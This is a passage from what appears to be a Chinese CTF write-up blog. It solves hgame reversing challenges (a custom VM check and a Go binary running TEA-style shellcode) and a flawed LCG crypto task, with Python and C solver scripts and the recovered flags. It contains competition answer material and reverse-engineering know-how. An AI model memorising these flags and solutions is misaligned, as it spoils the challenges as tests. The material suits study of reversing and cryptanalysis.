136</code></pre><p>可以看到在前半部分，程序都在对输入的字符进行加密，然后入栈，最后是从后往前对每一个字符进行校验，是否与程序中存储的答案一致，分析代码可知，大致的加密原理如下，<code>i</code>代表当前位数，最后<code>r1</code>是加密后的值：</p><pre><code class="language-python">r1 = data[i] + data[50 + i]r0 = data[100 + i]r1 = r1 ^ r0r2 = r1r1 = (r1 &lt;&lt; 8) &amp; 0xff00r2 = r2 &gt;&gt; 8r1 = r1 + r2</code></pre><p>然后，加密完毕的结果都会在最后从后到前一位一位地校验，校验过程对应下面的代码：</p><pre><code class="language-text">reg[3]=0, reg[3]=0reg[1]=stack.pop(), reg[1]=51968reg[2]=150, reg[2]=150reg[2]+=reg[3], reg[2]=150reg[0]=data[150], reg[0]=18432judge if reg[0] == reg[1], zf = Trueexpect not zf, zf=True, jump to 136</code></pre><p><code>data[150]</code>是第<code>0</code>位的值，经过后续验证，第<code>151</code>、<code>152</code>…分别就是第<code>1</code>、<code>2</code>…位的值了，于是，我们将它们单独提取出来，写一个爆破脚本，破解出最后的flag。至于为什么不直接计算，那是因为我懒，而且也不会（<br />最后的爆破代码如下：</p><pre><code class="language-python">import stringdata = [    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    155, 0, 0, 0, 168, 0, 0, 0, 2, 0,    0, 0, 188, 0, 0, 0, 172, 0, 0, 0,    156, 0, 0, 0, 206, 0, 0, 0, 250, 0,    0, 0, 2, 0, 0, 0, 185, 0, 0, 0,    255, 0, 0, 0, 58, 0, 0, 0, 116, 0,    0, 0, 72, 0, 0, 0, 25, 0, 0, 0,    105, 0, 0, 0, 232, 0, 0, 0, 3, 0,    0, 0, 203, 0, 0, 0, 201, 0, 0, 0,    255, 0, 0, 0, 252, 0, 0, 0, 128, 0,    0, 0, 214, 0, 0, 0, 141, 0, 0, 0,    215, 0, 0, 0, 114, 0, 0, 0, 0, 0,    0, 0, 167, 0, 0, 0, 29, 0, 0, 0,    61, 0, 0, 0, 153, 0, 0, 0, 136, 0,    0, 0, 153, 0, 0, 0, 191, 0, 0, 0,    232, 0, 0, 0, 150, 0, 0, 0, 46, 0,    0, 0, 93, 0, 0, 0, 87, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    201, 0, 0, 0, 169, 0, 0, 0, 189, 0,    0, 0, 139, 0, 0, 0, 23, 0, 0, 0,    194, 0, 0, 0, 110, 0, 0, 0, 248, 0,    0, 0, 245, 0, 0, 0, 110, 0, 0, 0,    99, 0, 0, 0, 99, 0, 0, 0, 213, 0,    0, 0, 70, 0, 0, 0, 93, 0, 0, 0,    22, 0, 0, 0, 152, 0, 0, 0, 56, 0,    0, 0, 48, 0, 0, 0, 115, 0, 0, 0,    56, 0, 0, 0, 193, 0, 0, 0, 94, 0,    0, 0, 237, 0, 0, 0, 176, 0, 0, 0,    41, 0, 0, 0, 90, 0, 0, 0, 24, 0,    0, 0, 64, 0, 0, 0, 167, 0, 0, 0,    253, 0, 0, 0, 10, 0, 0, 0, 30, 0,    0, 0, 120, 0, 0, 0, 139, 0, 0, 0,    98, 0, 0, 0, 219, 0, 0, 0, 15, 0,    0, 0, 143, 0, 0, 0, 156, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 72, 0, 0, 0, 241, 0, 0, 0, 64,    0, 0, 0, 33, 0, 0, 1, 53, 0, 0,    0, 100, 0, 0, 1, 120, 0, 0, 0, 249,    0, 0, 1, 24, 0, 0, 0, 82, 0, 0,    0, 37, 0, 0, 1, 93, 0, 0, 0, 71,    0, 0, 0, 253, 0, 0, 1, 105, 0, 0,    0, 92, 0, 0, 1, 175, 0, 0, 0, 178,    0, 0, 1, 236, 0, 0, 1, 82, 0, 0,    1, 79, 0, 0, 1, 26, 0, 0, 0, 80,    0, 0, 1, 133, 0, 0, 0, 205, 0, 0,    0, 35, 0, 0, 0, 248, 0, 0, 0, 12,    0, 0, 0, 207, 0, 0, 1, 61, 0, 0,    1, 69, 0, 0, 0, 130, 0, 0, 1, 210,    0, 0, 1, 41, 0, 0, 1, 213, 0, 0,    1, 6, 0, 0, 1, 162, 0, 0, 0, 222,    0, 0, 1, 166, 0, 0, 1, 202, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,    0, 0, 0, 0, 0, 0, 0, 0, 0, 0]def load(s):    global data    data1 = []    cnt = 0    number = 0    for i in data:        number += i &lt;&lt; (cnt * 8)        cnt += 1        if cnt == 4:            cnt = 0            data1.append(number)            number = 0    data = data1    for i in range(len(s)):        data[i] = ord(s[i])def encrypt(num, i):    r1 = num + data[50 + i]    r0 = data[100 + i]    r1 = r1 ^ r0    r2 = r1    r1 = (r1 &lt;&lt; 8) &amp; 0xff00    r2 = r2 &gt;&gt; 8    r1 = r1 + r2    return r1dic = range(30, 127)if __name__ == &#39;__main__&#39;:    load(&#39;&#39;)    print(data[150:])    print(data[189])    ans = &#39;&#39;    for i in range(41):        correct = data[189 - i]        for c in dic:            encryptedNum = encrypt(c, i)            if correct == encryptedNum:                ans = ans + chr(c)                print(ans)</code></pre><p>运行即可获得flag：</p><pre><code class="language-text">hgame{y0ur_rever5e_sk1ll_i5_very_g0od!!}</code></pre><p>说实话，本题其实在前期的数据处理中踩了坑，<code>data</code>变量是<code>DWORD</code>类型，理应是占<code>4</code>字节的，然而IDA导出的数组默认却成了<code>char</code>类型，无奈笔者只好自行转换。而在转换过程中，拼接的顺序也十分重要，千万不要拼反了，不然就会找不到任何规律，白白浪费时间。</p><h2 id="%5Breverse%5D-shellcode" tabindex="-1">[REVERSE] shellcode</h2><p>其实这道题笔者花费了不少时间，尝试了各种各样的方法反编译go语言，然而始终没找到与文件加密相关的代码，发现使用了<code>shellcode</code>还是在偶然间看到题目名称的时候才想到的（所以做题先看题目真的很关键啊！）<br />将程序拖进IDA反编译后发现，程序解码了一个BASE64数据，根据动态调试，发现下文中<code>syscall_Syscall</code>函数运行的正是这段被解码的数据，显然十分可疑：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/35e168435a0a4398a95b7d08a121de47.png" alt="70cdb1381faf64cd36a99d6b88265c0a.png" /><br />结合题目名称，我们可以知道，这是一段<code>shellcode</code>。<br />于是将该内容提取出来，放入IDA反汇编，汇编代码如下：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/e5022dc9afef4a29bd7de0c9d3c9fd33.png" alt="dbd130e74325381ab4367d2715fcad01.png" /><br />然而笔者并没有学过汇编，只能盲人摸象，胡乱猜测。根据<code>shl 4</code>、<code>shr 5</code>等操作，笔者猜测该段代码和文件加密有关，而且很可能是TEA加密，而密钥则是上面的四个值<code>0x16,0x21,0x2c,0x37</code>，于是编写解密程序尝试解密：</p><pre><code class="language-c">#include &lt;stdio.h&gt;#include &lt;string.h&gt;#include &lt;emmintrin.h&gt;#include &lt;stdint.h&gt;void decrypt(unsigned int *v, unsigned int *k) {unsigned int v0 = v[0], // v7             v1 = v[1]; // v9int delta = -1412567261;  // deltaint sum = 2042487904; // v3unsigned int k0 = k[0], // v2             k1 = k[1], // v4             k2 = k[2], // v5             k3 = k[3]; // v6for (int i = 0; i &lt; 32; i++) {v1 -= ((v0 &lt;&lt; 4) + k2) ^ (v0 + sum) ^ ((v0 &gt;&gt; 5) + k3);v0 -= ((v1 &lt;&lt; 4) + k0) ^ (v1 + sum) ^ ((v1 &gt;&gt; 5) + k1);sum -= delta;}v[0] = v0;v[1] = v1;}void doDecrypt(const char *c) {unsigned int si128[] = {0x16, 0x21, 0x2c, 0x37};char buf[50] = {0};memcpy(buf, c, strlen(c));decrypt((unsigned int *)&amp;buf, si128);printf(&quot;%s&quot;, buf);}int __cdecl main() {doDecrypt(&quot; i\xb3\xe4\xd0$i\x93&quot;);doDecrypt(&quot;D\xd1\x16\xa8\xf5\xd5\x82\xaa&quot;);doDecrypt(&quot;\xda\xf0y6\x06\xfd\x32\x7f&quot;);doDecrypt(&quot;\xd3\xc0&#96;49I!\xb7&quot;);doDecrypt(&quot;\xa2ir\xe5\xfaQj\x83&quot;);return 0;}</code></pre><p>事实确实如此，运行程序后，得到了flag：</p><pre><code class="language-text">hgame{th1s_1s_th3_tutu&#39;s_h0mew0rk}</code></pre><h2 id="%5Bcrypto%5D-lllcg" tabindex="-1">[CRYPTO] LLLCG</h2><p>本题题目代码如下：</p><pre><code class="language-python">from Crypto.Util.number import *from random import randintfrom sage.all import next_primefrom flag import flagclass LCG():    def __init__(self) -&gt; None:        self.n = next_prime(2**360)        self.a = bytes_to_long(flag)        self.seed = randint(1, self.n-1)    def next(self):        self.seed = self.seed * self.a + randint(-2**340, 2**340) % self.n        return self.seedlcg = LCG()outputs = []for i in range(40):    outputs.append(lcg.next())with open(&#39;output.txt&#39;, &#39;w&#39;) as f:    f.write(str(outputs))</code></pre><p>由于本题作者在取模的时候，漏加了一个括号，导致题目变得十分简单，简单来说，只需要取输出数组的前两个值：</p><pre><code class="language-text">arr[1] = 1137660125635315218550396257283379271126281654707140024628565116239043227654756862152080704553915295597833918194897961244358284543325452196119976528044019410771533996460493628849739976409844578782648330528014140288383arr[2] = 1089651052473835282827308128311065828561396663364911240972959788909515306616863980465990986336276384903707375227394223034256042622812751981085694555292380388664573448420064229133421678240606441518887044132670115591301857935030769271271599367581377247424328062635288832121331371889491239538842244877683244987389057941199373965</code></pre><p>计算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">⌊</mo><mi>a</mi><mi>r</mi><msub><mi>r</mi><mn>2</mn></msub><mo>÷</mo><mi>a</mi><mi>r</mi><msub><mi>r</mi><mn>1</mn></msub><mo stretchy="false">⌋</mo></mrow><annotation encoding="application/x-tex">\lfloor arr_2 \div arr_1 \rfloor</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">⌊</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.02778em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">÷</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.02778em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">⌋</span></span></span></span>即可，因为<br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mi>r</mi><msub><mi>r</mi><mn>1</mn></msub><mo>=</mo><mi>s</mi><mi>e</mi><mi>e</mi><mi>d</mi><mo>∗</mo><mi>a</mi><mo>+</mo><mo stretchy="false">(</mo><msub><mi>x</mi><mn>1</mn></msub><mtext> </mtext><mi>M</mi><mi>o</mi><mi>d</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo><mo separator="true">,</mo><msub><mi>x</mi><mn>1</mn></msub><mo>∈</mo><mo stretchy="false">[</mo><mo>−</mo><msup><mn>2</mn><mn>340</mn></msup><mo separator="true">,</mo><msup><mn>2</mn><mn>340</mn></msup><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">arr_1 = seed * a + (x_1\ Mod\ n), x_1 \in [-2^{340}, 2^{340}]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.02778em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mspace"> </span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.064108em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord">−</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">4</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">4</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span><br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mi>r</mi><msub><mi>r</mi><mn>2</mn></msub><mo>=</mo><mi>a</mi><mi>r</mi><msub><mi>r</mi><mn>1</mn></msub><mo>∗</mo><mi>a</mi><mo>+</mo><mo stretchy="false">(</mo><msub><mi>x</mi><mn>2</mn></msub><mtext> </mtext><mi>M</mi><mi>o</mi><mi>d</mi><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo><mo separator="true">,</mo><msub><mi>x</mi><mn>2</mn></msub><mo>∈</mo><mo stretchy="false">[</mo><mo>−</mo><msup><mn>2</mn><mn>340</mn></msup><mo separator="true">,</mo><msup><mn>2</mn><mn>340</mn></msup><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">arr_2 = arr_1 * a + (x_2\ Mod\ n), x_2 \in [-2^{340}, 2^{340}]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.02778em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.61528em;vertical-align:-0.15em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.02778em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mspace"> </span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.064108em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord">−</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">4</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">3</span><span class="mord mtight">4</span><span class="mord mtight">0</span></span></span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span><br />因为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>n</mi></msub><mo>&lt;</mo><mi>n</mi></mrow><annotation encoding="application/x-tex">x_n \lt n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6891em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">n</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>n</mi></msub><mtext> </mtext><mi>M</mi><mi>o</mi><mi>d</mi><mtext> </mtext><mi>n</mi><mo>=</mo><msub><mi>x</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">x_n\ Mod\ n = x_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mspace"> </span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mi>r</mi><msub><mi>r</mi><mn>1</mn></msub><mo>=</mo><mi>s</mi><mi>e</mi><mi>e</mi><mi>d</mi><mo>∗</mo><mi>a</mi><mo>+</mo><msub><mi>x</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">arr_1 = seed * a + x_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.02778em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal">s</span><span class="mord mathnormal">e</span><span class="mord mathnormal">e</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mi>r</mi><msub><mi>r</mi><mn>2</mn></msub><mo>=</mo><mi>a</mi><mi>r</mi><msub><mi>r</mi><mn>1</mn></msub><mo>∗</mo><mi>a</mi><mo>+</mo><msub><mi>x</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">arr_2 = arr_1 * a + x_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.02778em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" 